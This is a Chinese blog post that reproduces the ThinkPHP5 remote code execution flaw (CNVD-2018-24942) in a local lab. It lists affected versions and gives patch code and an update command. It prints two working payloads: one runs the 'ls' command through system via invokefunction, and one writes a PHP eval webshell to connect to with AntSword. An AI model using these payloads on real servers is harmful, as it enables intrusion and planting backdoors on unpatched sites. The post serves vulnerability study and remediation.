前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ThinkPHP5 远程代码执行漏洞(CNVD-2018-24942)

ThinkPHP5 远程代码执行漏洞(CNVD-2018-24942)

作者头像
Baige
发布2022-04-11 09:33:20
3.1K0
发布2022-04-11 09:33:20
举报
文章被收录于专栏:世荣的博客

一、漏洞描述

ThinkPHP5 存在远程代码执行漏洞。该漏洞由于框架对控制器名未能进行足够的检测,攻击者利用该漏洞对目标网站进行远程命令执行攻击。

二、影响产品

版本名 是否可被攻击 攻击条件 5.0.0 否 无 5.0.1 否 无 5.0.2 否 无 5.0.3 否 无 5.0.4 否 无 5.0.5 否 无 5.0.6 否 无 5.0.7 否 无 5.0.8 是 无需开启debug 5.0.9 是 无需开启debug 5.0.10 是 无需开启debug 5.0.11 是 无需开启debug 5.0.12 是 无需开启debug 5.0.13 是 需开启debug 5.0.14 是 需开启debug 5.0.15 是 需开启debug 5.0.16 是 需开启debug 5.0.17 是 需开启debug 5.0.18 是 需开启debug 5.0.19 是 需开启debug 5.0.20 否 无 5.0.21 是 需开启debug 5.0.22 是 需开启debug 5.0.23 是 需开启debug

5.0.13~5.0.19和5.0.21~5.0.23的,这些版本默认情况下config中的app_debug配置项为false,需开启才能存在此漏洞。

简单测试了下,发现该靶场的thinkphp版本是:ThinkPHP V5.1.30

这里为了更好的去做一些详细的测试,我在本地通过docker搭建了vulfocus,因为在线的vulfocus时间太短了,如果去做一些测试是没有办法实现的。

3.漏洞复现

打开靶场环境,直接构造payload:

代码语言:javascript
复制
?s=index/\think\app/invokefunction
&function=call_user_func_array
&vars[0]=system
&vars[1][]=ls /tmp
同样我们用whoami或者pwd也可以证明漏洞复现成功,这里上传一句话木马用蚁剑连接也是可以的。
代码语言:javascript
复制
?s=index/\think\template\driver\file/write
&cacheFile=shell.php
&content=%3C
?php%20@eval($_POST[pass])
?%3E

4.Python代码编写POC实现:

5.修复意见

使用composer安装,并且一直保持最新版本使用的话,使用下面的指令更新到最新版本即可

代码语言:javascript
复制
composer update topthink/framework

5.0版本 在thinkApp类的module方法的获取控制器的代码后面加上

代码语言:javascript
复制
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
    throw new HttpException(404, 'controller not exists:' . $controller);
}

5.1版本 在thinkroutedispatchUrl类的parseUrl方法,解析控制器后加上

代码语言:javascript
复制
if ($controller && !preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
    throw new HttpException(404, 'controller not exists:' . $controller);
}
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022 年 03 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、漏洞描述
  • 二、影响产品
  • 3.漏洞复现
  • 4.Python代码编写POC实现:
  • 5.修复意见
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档